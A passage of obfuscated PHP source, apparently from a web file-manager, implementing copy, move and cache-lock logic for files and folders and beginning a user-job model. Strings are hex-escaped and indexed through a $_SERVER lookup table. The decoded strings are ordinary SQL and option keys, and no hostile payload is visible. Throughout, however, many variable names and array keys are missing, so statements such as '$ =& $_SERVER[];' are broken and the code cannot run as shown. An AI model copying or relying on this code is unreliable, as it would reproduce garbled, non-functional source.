Model($ס[525])->getInfoFull(USER_ID); $ą = _get($, $ס[526], $ס[12]); } if ($Ф && $Ф[0] == $ą || !$Ф && $[$ס[402]] == $ą) { $ = LNG($ס[527]); $[$ס[528]] = $ס[529]; } if (!$Ф) { $[$ס[32]] = $; } } else { $레 = Model($ס[504])->getInfoSimple($[$ס[496]]); $ = LNG($ס[530]) . $ס[162] . $레[$ס[32]] . $ס[164]; $[$ס[531]] = array($ס[32] => $레[$ס[32]], $ס[532] => $레[$ס[532]], $ס[533] => $레[$ס[533]]); } } else { if ($[$ס[411]] == self::TYPE_GROUP) { $레 = Model($ס[512])->getInfoSimple($[$ס[496]]); $ = $레[$ס[32]]; } else { if ($[$ס[411]] == self::TYPE_SYSTEM) { $ = $ס[534]; } } } $ = $ ? $ס[8] . $ . $ס[8] : $ס[8]; return $; } protected function _listAppendUser(&$) { $編 =& $_SERVER[]; $ = array_to_keyvalue($, $編[12], $編[454]); $ = array_to_keyvalue($, $編[12], $編[456]); $̓ = array_merge($, $); $Ύ = Model($編[525])->userListInfo($̓); foreach ($ as &$ɋĞ) { $ = $ɋĞ[$編[454]]; $ɋĞ[$編[454]] = $Ύ[$] ? $Ύ[$] : !1; $ = $ɋĞ[$編[456]]; $ɋĞ[$編[456]] = $Ύ[$] ? $Ύ[$] : !1; if (isset($ɋĞ[$編[466]]) && $ɋĞ[$編[466]][$編[535]]) { $ޘ = $GLOBALS[$編[6]][$編[89]][$編[536]]; if ($ɋĞ[$編[466]][$編[537]] <= time() - $ޘ) { $this->metaSet($ɋĞ[$編[402]], $編[535], null); $this->metaSet($ɋĞ[$編[402]], $編[537], null); unset($ɋĞ[$編[466]][$編[535]]); continue; } $ĥ = $ɋĞ[$編[466]][$編[535]]; $ɋĞ[$編[466]][$編[538]] = Model($編[525])->getInfoSimpleOuter($ĥ); } } unset($ɋĞ); } public function parentLevelArray($㍪) { $ =& $_SERVER[]; $㍪ = explode($[50], trim($㍪, $[50])); return array_remove_value($㍪, $[198]); } public function listAll($) { $ԯ =& $_SERVER[]; $缦 = $this->sourceInfo($); $ = array($ԯ[539] => array($ԯ[540], $缦[$ԯ[511]] . $ . $ԯ[541]), $ԯ[542] => 0); $ǡ = $ԯ[543]; $ = "\114\x45\x46\x54\x20\112\117\111\116\40{$this->tablePrefix}\x69\x6f\x5f\x66\x69\x6c\145\40\x66\151\x6c\145\x20\157\x6e\40\163\x6f\x75\x72\143\145\x2e\146\151\x6c\145\x49\x44\40\75\x20\146\x69\154\145\x2e\146\x69\154\145\x49\104"; $Յ = $this->alias($ԯ[446])->field($ǡ)->where($)->join($)->select(); $this->_listAppendAuth($Յ); $this->_listAppendUser($Յ); $this->_listAppendPath($Յ); $Յ = array_to_keyvalue($Յ, $ԯ[402]); $ = "\x2f{$缦[$ԯ[32]]}\57"; $ = $ == $ԯ[519] ? $ԯ[8] : $; $ = array(); foreach ($Յ as $ߏ => $) { $ڸ = $this->parentLevelArray($[$ԯ[511]]); array_shift($ڸ); $ث = $; for ($ = 0; $ < count($ڸ); $++) { $ث .= $Յ[$ڸ[$]][$ԯ[32]] . $ԯ[8]; } $ث .= $[$ԯ[32]]; if ($[$ԯ[410]]) { $ث .= $ԯ[8]; } $돆 = array($ԯ[421] => str_replace($ԯ[519], $ԯ[8], str_replace($ԯ[519], $ԯ[8], str_replace($ԯ[519], $ԯ[8], $ث))), $ԯ[544] => intval($[$ԯ[410]]), $ԯ[545] => intval($[$ԯ[76]]), $ԯ[85] => intval($[$ԯ[85]]), $ԯ[87] => $this->pathInfoFilter($)); if (!$돆[$ԯ[410]]) { $돆[$ԯ[468]] = $[$ԯ[468]]; } $[] = $돆; } $ = array_sort_by($, $ԯ[84]); return $; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($̣) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($[546], $̣); $ = 1; $this->_lockEvent($̣, array($[547], $[548]), $); $this->_lockParent($̣, array($[548]), $); $this->_lockEvent($̣, array($[549], $[550]), $); $this->_lockCheckEnd($[546], $̣); } public function lockCopyEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $戏 = 0; $this->_lockEvent($, array($[547], $[548]), $戏); $this->_lockParent($, array($[548]), $戏); $this->_lockEvent($, array($[549], $[550]), $戏); } public function lockWriteStart($, $ى = '') { $̎ =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($̎[547], $); $⣇ = 1; $this->_lockKey($̎[551] . $ . $̎[10] . $ى, $⣇); $this->_lockEvent($, array($̎[546], $̎[548]), $⣇); $this->_lockParent($, array($̎[546], $̎[548]), $⣇); $this->_lockCheckEnd($̎[547], $); } public function lockWriteEnd($, $︱ = '') { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[551] . $ . $[10] . $︱, $); $this->_lockEvent($, array($[546], $[548]), $); $this->_lockParent($, array($[546], $[548]), $); } public function lockMoveStart($) { $鄑 =& $_SERVER[]; if (!$this->allowLock()) { return; } $this->_lockCheck($鄑[548], $); $瓔 = 1; $this->_lockKey($鄑[552] . $, $瓔); $this->_lockEvent($, array($鄑[546], $鄑[547]), $瓔); $this->_lockParent($, array($鄑[546], $鄑[548]), $瓔); $this->_lockEvent($, array($鄑[553], $鄑[549], $鄑[550]), $瓔); $this->_lockCheckEnd($鄑[548], $); } public function lockMoveEnd($) { $ =& $_SERVER[]; if (!$this->allowLock()) { return; } $ؕ = 0; $this->_lockKey($[552] . $, $ؕ); $this->_lockEvent($, array($[546], $[547]), $ؕ); $this->_lockParent($, array($[546], $[548]), $ؕ); $this->_lockEvent($, array($[553], $[549], $[550]), $ؕ); } private function _lockCheck($깯Ȏ, $Ȍ) { $ٖ =& $_SERVER[]; $ = $this->sourceInfo($Ȍ); $ᰭ = $깯Ȏ . $ٖ[10] . $Ȍ; $this->_lockTimeStart[$ᰭ] = timeFloat(); if (!is_array($)) { return; } $ = LNG($ٖ[554]); CacheLock::setErrorMsg($ٖ[162] . htmlspecialchars($[$ٖ[32]]) . $ٖ[164] . $); $this->_lockKey($ᰭ, 1); $this->_lockKey($ᰭ, 0); $Ц = array_reverse($this->parentLevelArray($[$ٖ[511]])); foreach ($Ц as $) { $ᰭ = $깯Ȏ . $ٖ[555] . $; if (CacheLock::lockGet($ٖ[556] . $ᰭ)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($ٖ[162] . htmlspecialchars($[$ٖ[32]]) . $ٖ[164] . $); $this->_lockKey($ᰭ, 1); $this->_lockKey($ᰭ, 0); } } } private function _lockCheckEnd($碴, $) { $ʀ =& $_SERVER[]; $Ɩ = $碴 . $ʀ[10] . $; CacheLock::setErrorMsg($ʀ[378]); if (!isset($this->_lockTimeStart[$Ɩ])) { return; } $μ = timeFloat() - $this->_lockTimeStart[$Ɩ]; unset($this->_lockTimeStart[$Ɩ]); if ($μ > 0.5) { unset(self::$cacheSourceInfo[$ʀ[460] . $]); } $ؤ = $this->sourceInfo($); if (!$ؤ) { show_json(LNG($ʀ[105]), !1); } } private function _lockParent($Є, $, $) { if (!$this->autoLockSet) { return; } $ȟϚĊ = $this->sourceInfo($Є); if (!is_array($ȟϚĊ)) { return; } $䂾 = array_reverse($this->parentLevelArray($ȟϚĊ[$_SERVER[][511]])); foreach ($䂾 as $ď) { $this->_lockEvent($ď, $, $); } } private function _lockEvent($̧, $, $ܬΦ) { $ݔ =& $_SERVER[]; if (!$this->autoLockSet) { return; } foreach ($ as $Ň帗) { $ԍʉ = $Ň帗 . $ݔ[10] . $̧; if ($ܬΦ && CacheLock::lockGet($ݔ[556] . $ԍʉ)) { continue; } $this->_lockKey($ԍʉ, $ܬΦ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $Ȥ = 1) { $ = $_SERVER[][556] . md5($); if ($Ȥ) { if (isset(self::$_lockItemArr[$])) { return; } self::$_lockItemArr[$] = 1; CacheLock::lock($, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$])) { return; } unset(self::$_lockItemArr[$]); CacheLock::unlock($); } } public function isParentOf($, $ؿ) { $꼳 =& $_SERVER[]; $Շ = $this->sourceInfo($); $ = $this->sourceInfo($ؿ); $ٌ = $Շ[$꼳[511]] . $Շ[$꼳[402]] . $꼳[50]; $à = $[$꼳[511]] . $[$꼳[402]] . $꼳[50]; $ݪ = strpos($à, $ٌ) === 0; return $ݪ; } private $targetIsDelete = 0; public function copy($ד, $쳚ȉ, $ѹ = REPEAT_REPLACE, $ = '') { $˸ =& $_SERVER[]; $ = $this->sourceInfo($ד); $ = $this->sourceInfo($쳚ȉ); if (!$ || !$ || $[$˸[410]] != $˸[88]) { return !1; } if ($this->isParentOf($ד, $쳚ȉ)) { return !1; } $Ʃ = $ ? $ : $[$˸[32]]; $this->lockCopyStart($ד); $this->lockWriteStart($쳚ȉ, $Ʃ); $đӢ = array($˸[557] => array(), $˸[558] => array(), $˸[559] => array()); $this->targetIsDelete = intval($[$˸[431]]); $ƅ = $this->fileNameExistCache($쳚ȉ, $[$˸[32]]); $ = $this->_copy($ד, $쳚ȉ, $ѹ, $đӢ, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($ד); $this->lockWriteEnd($쳚ȉ, $Ʃ); if ($[$˸[410]] == $˸[88] && $ƅ == $) { $this->folderSizeResetChildren($ƅ); } Model($˸[560])->addAll($đӢ[$˸[558]], array(), !0); if ($ƅ != $ || $[$˸[410]] == $˸[88]) { Model($˸[561])->eventCopy($); } $this->saveAll($đӢ[$˸[559]]); Model($˸[200])->linkAdd($đӢ[$˸[557]]); $this->folderSizeReset($쳚ȉ); $this->updateModifyTime($쳚ȉ); return $; } private function _copy($, $, $, &$䉱, $ᮼ, $т = '') { $ޫ =& $_SERVER[]; $Ƅ = $this->sourceInfoCache($); $Dz = $Ƅ[$ޫ[410]] == $ޫ[88]; $ȥ = $т ? $т : $Ƅ[$ޫ[32]]; $ˬ = $this->fileNameExistCache($, $ȥ); if ($ᮼ) { $this->_childrenAllMake($); if ($Dz && $ˬ) { $this->_childrenAllMake($ˬ); } } if (!$ˬ) { return $this->_copyCreate($, $, $ȥ, $䉱); } $Ռ = $ˬ; if ($Dz) { if ($ == REPEAT_RENAME_FOLDER) { $ȥ = $this->fileNameAutoCache($, $ȥ, $, $Dz); $Ռ = $this->_copyCreate($, $, $ȥ, $䉱); } else { $Ԓ = $this->_childrenList($); foreach ($Ԓ as $Ͱ) { $this->_copy($Ͱ[$ޫ[402]], $ˬ, $, $䉱, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ȥ = $this->fileNameAutoCache($, $ȥ, $, $Dz); $Ռ = $this->_copyCreate($, $, $ȥ, $䉱); } else { if ($ == REPEAT_REPLACE) { $ƭ = $this->sourceInfoCache($ˬ); $૫ = $this->fileHistory($ƭ, $Ƅ[$ޫ[468]], $Ƅ[$ޫ[76]]); if ($૫) { $䉱[$ޫ[557]][] = $Ƅ[$ޫ[468]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($ޫ[562], array($ޫ[563], $Ƅ, 0)); } return $Ռ; } private function _copyCreate($, $, $콿, &$) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $ = $this->sourceInfoCache($); $եă = $this->_makeItemData($, $, $콿); Hook::trigger($[564], $եă); Hook::trigger($[565], array($[566], $եă, 0)); $ա = $this->add($եă); $ȱ = array($[402] => $ա, $[32] => $콿); $this->_copyApplyMeta($ȱ, $); if ($[$[410]] != $[88]) { $[$[557]][] = $[$[468]]; return $ա; } $Ȩ = array(); $ۭ = array(); $this->_childrenListAll($, $Ȩ); $ = count($Ȩ); if ($ == 0) { return $ա; } $ = $this->sourceInfo($ա); foreach ($Ȩ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[511]] = $[$[511]]; $ۭ[] = $; } $this->chunkEventSet($[567], array($[568], $եă, $)); $this->addAll($ۭ, array(), !1); $ = $this->where(array($[432] => $ա))->select(); $֗ = $this->_childrenMakeRelation($Ȩ, $); $֗[$] = $ա; $ᅁ = array(); $ = array(); foreach ($ as $) { $ = $[$[402]]; $ = $this->_childrenMatch($֗, $, $); $ᅁ[] = array($[402], $, $[432], $[$[432]]); $[] = array($[402], $, $[511], $[$[511]]); $this->_copyApplyMeta($, $); if ($[$[410]] != $[88]) { $[$[557]][] = $[$[468]]; } } $this->chunkEventSet($[569], array($[570], $եă, $)); $this->saveAll($ᅁ); $this->chunkEventSet($[571], array($[572], $եă, $)); $this->saveAll($); return $ա; } private function _childrenMakeRelation($, $˓) { $ҧ玲 =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $ѽ) { $ݠ = $ѽ[$ҧ玲[32]] . $ҧ玲[8] . $ѽ[$ҧ玲[511]]; $[$ݠ] = $ѽ[$ҧ玲[402]]; } foreach ($˓ as $ѽ) { $ݠ = $ѽ[$ҧ玲[32]] . $ҧ玲[8] . $ѽ[$ҧ玲[511]]; $ = $[$ݠ]; $[$] = $ѽ[$ҧ玲[402]]; } return $; } private function _childrenMatch($, $剧, $) { $ř =& $_SERVER[]; $ﵕ = $[$ř[511]]; $Σ = $this->parentLevelArray($剧[$ř[511]]); foreach ($Σ as $Ɵ) { if (isset($[$Ɵ])) { $ﵕ .= $[$Ɵ] . $ř[573]; } } $ﵕ = rtrim($ﵕ, $ř[50]) . $ř[50]; $ǻ = $this->parentLevelArray($ﵕ); $ͤ = $ǻ[count($ǻ) - 1]; return array($ř[432] => $ͤ, $ř[511] => $ﵕ); } private function _makeItemData($, $ܰ˜, $) { $ =& $_SERVER[]; $ = array($[574] => $[$[410]], $[420] => $, $[575] => $[$[412]] ? $[$[412]] : $[12], $[469] => $[$[468]] ? $[$[468]] : 0, $[545] => $[$[76]] ? $[$[76]] : 0, $[576] => intval($ܰ˜[$[411]]), $[577] => intval($ܰ˜[$[496]]), $[578] => intval(USER_ID), $[579] => intval(USER_ID), $[401] => intval($ܰ˜[$[402]]), $[580] => $ܰ˜[$[511]] . $ܰ˜[$[402]] . $[50], $[424] => $[$[85]] ? $[$[85]] : time(), $[430] => 0, $[581] => $[12]); return $; } private function _copyApplyMeta($Ж, &$) { $ =& $_SERVER[]; $蝪 = $Ж[$[402]]; $ = $Ж[$[32]]; if (!isset($Ж[$[582]]) || !$Ж[$[582]] || $Ж[$[582]] == $[198]) { $[$[559]][] = array($[402], $蝪, $[582], short_id($蝪)); } if (Input::check($, $[583])) { $[$[558]][] = array($[402] => $蝪, $[94] => $[465], $[374] => str_replace($[53], $[12], Pinyin::get($))); $[$[558]][] = array($[402] => $蝪, $[94] => $[464], $[374] => Pinyin::get($, $[584])); } $[$[558]][] = array($[402] => $蝪, $[94] => $[444], $[374] => KodSort::makeStr($)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ܛ =& $_SERVER[]; $ಛ = $this->sourceInfo($); $˦ = $ܛ[585]; $Ǻ = array($ܛ[511] => array($ܛ[540], $ಛ[$ܛ[511]] . $ . $ܛ[541]), $ܛ[431] => $this->targetIsDelete); $ޢ = $this->field($˦)->where($Ǻ)->select(); if (!$ޢ) { return; } $ޢ = array_to_keyvalue($ޢ, $ܛ[402]); foreach ($ޢ as $Ǥ) { $ = $Ǥ[$ܛ[432]]; $ = $Ǥ[$ܛ[402]]; if (!isset($this->_childrenListCache[$]) && $Ǥ[$ܛ[410]] == $ܛ[88]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $Ǥ; $this->_childrenItemCache[$] = $Ǥ; } } private function _childrenListAll($, &$Ձ) { $ =& $_SERVER[]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $ => $) { $Ձ[$] = $; if ($[$[410]] == $[88]) { $this->_childrenListAll($, $Ձ); } } } private function sourceInfoCache($ց) { if (isset($this->_childrenItemCache[$ց])) { return $this->_childrenItemCache[$ց]; } return $this->sourceInfo($ց); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[]; $։ = array($[432] => $, $[431] => $this->targetIsDelete); $ = $this->where($։)->select(); $ = $ ? $ : array(); $ۊ = array_to_keyvalue($, $[402]); $this->_childrenListCache[$] = $ۊ; foreach ($ۊ as $ => $ņ) { $this->_childrenItemCache[$] = $ņ; } return $ۊ; } private function fileNameExistCache($, $) { $灮 =& $_SERVER[]; $ = strtolower($); $ = $this->_childrenList($); foreach ($ as $ԛ) { if ($ == strtolower($ԛ[$灮[32]])) { return $ԛ[$灮[402]]; } } return !1; } private function fileNameAutoCache($, $蹺, $ﮧ, $®) { $̳ͪ =& $_SERVER[]; $ = $this->_childrenList($); $ê = array_to_keyvalue($, $̳ͪ[12], $̳ͪ[32]); return $this->fileNameAutoGet($ê, $蹺, $ﮧ, $®); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $̤, $͋ = REPEAT_REPLACE, $Բ = '') { $Ͱ =& $_SERVER[]; $ = $this->sourceInfo($); $㋡ = $this->sourceInfo($̤); if ($[$Ͱ[432]] == $㋡[$Ͱ[402]]) { if ($[$Ͱ[431]] == $Ͱ[88]) { Model($Ͱ[429])->restore(array($)); } if (!$Բ || $Բ == $[$Ͱ[32]]) { return $; } } $Ź = $this->pathInfoMore($); if ($this->isParentOf($, $̤)) { return !1; } if (!$ || !$㋡ || $㋡[$Ͱ[410]] != $Ͱ[88]) { return !1; } Hook::trigger($Ͱ[586], $Ź); $this->targetIsDelete = intval($[$Ͱ[431]]); if ($[$Ͱ[432]] == $̤ && $Բ != $[$Ͱ[32]]) { $Ņ = $this->fileNameExist($̤, $Բ); if ($Ņ && $[$Ͱ[410]] == $Ͱ[198]) { $ = $this->sourceInfo($Ņ); $ = $this->fileHistory($, $[$Ͱ[468]], $[$Ͱ[76]]); if (!$) { Model($Ͱ[471])->remove($[$Ͱ[468]]); } $this->removeNow($, !1); $this->folderSizeReset($̤); Hook::trigger($Ͱ[587], $Ź); return $Ņ; } } $ƺ = $Բ ? $Բ : $[$Ͱ[32]]; $this->lockMoveStart($); $this->lockWriteStart($̤, $ƺ); $Ԟ = array($Ͱ[557] => array(), $Ͱ[588] => !1); $this->clearShare($, $̤); $͠ = $this->fileNameExistCache($̤, $[$Ͱ[32]]); $ = $this->_move($, $̤, $͋, $Ԟ, $Բ); $this->sourceCacheClear(); if ($[$Ͱ[410]] == $Ͱ[88] && $͠) { $this->folderSizeResetChildren($); } Model($Ͱ[200])->linkAdd($Ԟ[$Ͱ[557]]); if ($͠ && $Ԟ[$Ͱ[588]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($̤, $ƺ); $this->folderSizeReset($[$Ͱ[432]]); $this->folderSizeReset($̤); $跱 = array($[$Ͱ[432]], $̤); if ($[$Ͱ[410]] == $Ͱ[88]) { $跱[] = $; } $this->updateModifyTime($跱); Model($Ͱ[561])->eventMove($, $[$Ͱ[432]], $̤); Hook::trigger($Ͱ[587], $Ź); return $; } private function _move($ʸ, $ȉ, $۟, &$̘, $Ǟ = '') { $˼ّ =& $_SERVER[]; $ = $this->sourceInfo($ʸ); $ჱ = $[$˼ّ[410]] == $˼ّ[88]; $ = $Ǟ ? $Ǟ : $[$˼ّ[32]]; $י = $this->fileNameExistCache($ȉ, $); $this->lockMoveStart($ʸ); $this->lockWriteStart($ȉ, $); if (!$י) { return $this->_moveForce($ʸ, $ȉ, $); } $쫸 = $י; $ = !1; if ($ჱ) { if ($۟ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($ȉ, $, $۟, $ჱ); $쫸 = $this->_moveForce($ʸ, $ȉ, $); } else { if ($۟ == REPEAT_RENAME_FOLDER) { $۟ = REPEAT_RENAME; } $ = $this->_childrenListSelect($ʸ); foreach ($ as $ӧؒ) { $this->_move($ӧؒ[$˼ّ[402]], $י, $۟, $̘); } $ = !0; } } else { if ($۟ == REPEAT_SKIP) { $ = !0; } else { if ($۟ == REPEAT_RENAME || $۟ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($ȉ, $, $۟, $ჱ); $쫸 = $this->_moveForce($ʸ, $ȉ, $); } else { if ($۟ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($י); $Ժ۶ = $this->fileHistory($, $[$˼ّ[468]], $[$˼ّ[76]]); $ = !0; if ($Ժ۶) { $̘[$˼ّ[557]][] = $[$˼ّ[468]]; } } } } } if ($ && !$̘[$˼ّ[588]]) { $̘[$˼ّ[588]] = !0; } return $쫸; } private function _moveForce($, $², $؉ѝ) { $ =& $_SERVER[]; $Ҷ = $this->sourceInfo($); $溶 = $this->sourceInfo($²); $Ғ = $Ҷ[$[410]] == $[88]; $ = array($[401] => $溶[$[402]], $[580] => $溶[$[511]] . $溶[$[402]] . $[50], $[576] => $溶[$[411]], $[577] => $溶[$[496]], $[579] => USER_ID, $[420] => $؉ѝ); $ŕ = $Ҷ[$[411]] == SourceModel::TYPE_GROUP && $溶[$[411]] == SourceModel::TYPE_GROUP && $Ҷ[$[496]] == $溶[$[496]]; if (!$ŕ && $this->moveClearAuth) { Model($[493])->authClear($); } $ = $Ҷ[$[431]] == $[88] && $溶[$[431]] != $[88]; if ($) { $[$[430]] = 0; } if ($Ғ) { $ = array($[580] => array($[540], $Ҷ[$[511]] . $Ҷ[$[402]] . $[541])); $ϒȲ = $Ҷ[$[511]] . $Ҷ[$[402]] . $[50]; $ = $溶[$[511]] . $溶[$[402]] . $[50] . $Ҷ[$[402]] . $[50]; $ܹئ = array($[580] => array($[589], "\162\x65\x70\154\141\x63\145\50\x70\141\x72\x65\156\164\x4c\145\166\x65\x6c\54\47{$ϒȲ}\x27\x2c\47{$}\x27\x29"), $[576] => $溶[$[411]], $[577] => $溶[$[496]]); if ($) { $ܹئ[$[430]] = 0; } $this->where($)->data($ܹئ)->save(); } $this->where(array($[417] => $))->data($)->save(); return $; } private function clearShare($ף, $ۇ) { $퓪ֲ =& $_SERVER[]; $ = $this->sourceInfo($ף); $٩ = $this->sourceInfo($ۇ); if ($[$퓪ֲ[496]] == $٩[$퓪ֲ[496]] && $[$퓪ֲ[411]] == $퓪ֲ[590]) { return; } $Ͷ = array($퓪ֲ[511] => array($퓪ֲ[540], $[$퓪ֲ[511]] . $ף . $퓪ֲ[541])); $٥Ռ = $this->field($퓪ֲ[417])->where($Ͷ)->getField($퓪ֲ[402], !0); if (!$٥Ռ) { return; } $Ͷ = array($퓪ֲ[402] => array($퓪ֲ[7], $٥Ռ), $퓪ֲ[591] => 1); $ = Model($퓪ֲ[592])->field($퓪ֲ[593])->where($Ͷ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $퓪ֲ[12], $퓪ֲ[593]); $Ͷ = array($퓪ֲ[593] => array($퓪ֲ[7], $)); Model($퓪ֲ[592])->where($Ͷ)->save(array($퓪ֲ[591] => 0)); Model($퓪ֲ[594])->where($Ͷ)->delete(); } public function copyFolderFromIO($́, $, $Ӭ, $, $־, $̸锡 = false) { $ =& $_SERVER[]; $د = array($[558] => array(), $[559] => array(), $[557] => array(), $[595] => array()); $ = $̸锡 ? $̸锡 : $́->pathThis($); $ = $this->fileNameExist($Ӭ, $); $龥 = $this->mkdir($Ӭ, $, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[596]); $this->_copyChildTo($́, $, $龥, $, $د, $־); Hook::trigger($[597]); if ($龥) { $this->folderSizeResetChildren($龥); } $this->_childrenListClear(); Model($[560])->addAll($د[$[558]], array(), !0); Model($[561])->eventCopy($龥); $this->saveAll($د[$[559]]); Model($[471])->linkAdd($د[$[557]]); Model($[471])->remove($د[$[595]]); $this->folderSizeReset($Ӭ); $this->updateModifyTime($Ӭ); return $龥; } private function _copyChildTo($鶻, $, $Գ, $̖, &$, $) { $ =& $_SERVER[]; $ä = $this->sourceInfoCache($Գ); $¥ = $鶻->listPath($); $¥ = $¥ ? $¥ : array($[83] => array(), $[82] => array()); $Ѵ = array_merge($¥[$[83]], $¥[$[82]]); $ = $this->_addFiles($鶻, $¥[$[83]], $); $ׄ = array(); foreach ($Ѵ as &$ǟ) { if (isset($[$ǟ[$[32]]])) { $ǟ = $[$ǟ[$[32]]]; } $ǟ[$[410]] = $ǟ[$[33]] == $[75]; $ǟ[$[412]] = substr(_get($ǟ, $[174], $[12]), 0, 10); $ǟ[$[76]] = _get($ǟ, $[76], 0); $ǟ[$[468]] = _get($ǟ, $[468], 0); if (!isset($ǟ[$[598]]) && $ǟ[$[468]]) { $[$[595]][] = $ǟ[$[468]]; } if ($̖) { $ = $this->fileNameExistCache($Գ, $ǟ[$[32]]); if ($) { if ($ǟ[$[410]] || $̖ == REPEAT_SKIP) { continue; } if ($̖ == REPEAT_REPLACE) { $ړȆ = $this->sourceInfoCache($); $ݦ« = $this->fileHistory($ړȆ, $ǟ[$[468]], $ǟ[$[76]]); if ($ݦ«) { $[$[557]][] = $ǟ[$[468]]; } continue; } else { if ($̖ == REPEAT_RENAME) { $ǟ[$[32]] = $this->fileNameAutoCache($Գ, $ǟ[$[32]], $̖, !1); } } } } if (!$ǟ[$[410]] && $ǟ[$[468]] == 0) { continue; } if (!$ǟ[$[410]] && $ǟ[$[468]]) { $[$[557]][] = $ǟ[$[468]]; } $ׄ[] = $this->_makeItemData($ǟ, $ä, $ǟ[$[32]]); } unset($ǟ); if (!empty($ׄ)) { $this->addAll($ׄ); $this->_childrenListSelect($Գ); } $ = $this->_childrenList($Գ); $ = array_to_keyvalue($, $[32]); foreach ($Ѵ as $ǟ) { $ړȆ = $[$ǟ[$[32]]]; $隼 = $ړȆ[$[402]]; $this->_copyApplyMeta($ړȆ, $); if ($ǟ[$[33]] == $[75]) { $ǟ[$[84]] = $鶻->getPathInner($ǟ[$[84]]); $this->_copyChildTo($鶻, $ǟ[$[84]], $隼, $̖, $, $); } } } private function _addFiles($ϼ, $ύ, $ꋟ) { $҇ =& $_SERVER[]; if (!$ύ || count($ύ) == 0) { return array(); } $Ⱦ = array(); foreach ($ύ as &$) { Hook::trigger($҇[599], $); $[$҇[84]] = $ϼ->getPathInner($[$҇[84]]); $ = $ϼ->hashSimple($[$҇[84]]); $ = $ϼ->hashMd5($[$҇[84]]); if (strlen($) > 10 && !isset($Ⱦ[$])) { $Ⱦ[$] = array(); } $[$҇[177]] = $; $[$҇[176]] = $; $Ⱦ[$][] =& $; if (count($Ⱦ[$]) > 1) { $[$҇[598]] = !0; } Hook::trigger($҇[600], $); } unset($); $ = array($҇[176] => array($҇[7], array_keys($Ⱦ))); $ = Model($҇[601]); $ʃ = $->where($)->select(); $ʃ = $ʃ ? $ʃ : array(); foreach ($ʃ as $) { if (!isset($Ⱦ[$[$҇[176]]])) { continue; } $ƣ = $Ⱦ[$[$҇[176]]]; foreach ($ƣ as &$) { $[$҇[468]] = $[$҇[468]]; $[$҇[598]] = !0; } unset($); } $֒ = array(); foreach ($ύ as $) { Hook::trigger($҇[602], $); if (isset($[$҇[598]]) && $[$҇[598]]) { Hook::trigger($҇[603], $); continue; } $̊ = $ϼ->getPathInner($[$҇[84]]); $̖ = $->addFileMake($̊, $[$҇[76]], $[$҇[177]], $[$҇[176]], $[$҇[32]], $ꋟ); Hook::trigger($҇[603], $); if (!is_array($̖)) { continue; } $֒[] = $̖; } $->addAll($֒); $ = array($҇[176] => array($҇[7], array_keys($Ⱦ))); $ʃ = $->where($)->select(); $ʃ = $ʃ ? $ʃ : array(); foreach ($ʃ as $) { if (!isset($Ⱦ[$[$҇[176]]])) { continue; } $̿ =& $Ⱦ[$[$҇[176]]]; foreach ($̿ as &$) { $[$҇[468]] = $[$҇[468]]; } unset($); } $б = array(); foreach ($ύ as $Ş) { $б[$Ş[$҇[32]]] = $Ş; } return $б; } } goto C͑ɶ; f: class UserJobModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\x65\155\56\x6a\x6f\142\x4c\151\x73\x74"; public $field = array("\x6e\141\155\x65", "\144\145\x73\x63", "\163\x6f\x72\x74"); const JOB_KEY = "\163\x65\x6c\146\112\157\142\x4c\151\163\x74"; public function listData($ճ = false, $፺ = "\163\157\x72\x74", $Ļܒ = false) { return parent::listData($ճ, $፺, $Ļܒ); } public function remove($Ŭ) { return parent::remove($Ŭ); } public function add($ƅ) { $ =& $_SERVER[]; if ($this->findByName($ƅ[$[32]])) { return !1; } $ƅ[$[1876]] = $this->getSort(); return parent::insert($ƅ); } private function getSort() { $ =& $_SERVER[]; $ꏌ = parent::listData(); $褧 = array_to_keyvalue($ꏌ, $[12], $[1876]); return empty($褧) ? 0 : max($褧) + 1; } public function update($ӣߘ, $) { $ =& $_SERVER[]; $ށ = parent::listData($ӣߘ); $ = $this->findByName($[$[32]]); if (!$ށ || $ && $[$[399]] != $ށ[$[399]]) { return !1; } return parent::update($ӣߘ, $); } public function setUserJob($, $ں) { $ֲ =& $_SERVER[]; if (!is_array($ں)) { $ں = array($ں); } $ӂ = parent::listData(); $ = array_to_keyvalue($ӂ, $ֲ[32]); $ӑ = $ֲ[378]; foreach ($ں as $ő) { if ($[$ő]) { $ӑ .= $[$ő][$ֲ[399]] . $ֲ[50]; } else { $߁ = $this->add($ő); $ӑ .= $߁ . $ֲ[50]; } } $ӑ = rtrim($ӑ, $ֲ[50]); Model($ֲ[525])->metaSet($, self::JOB_KEY, $ӑ); } public function getUserJob($) { 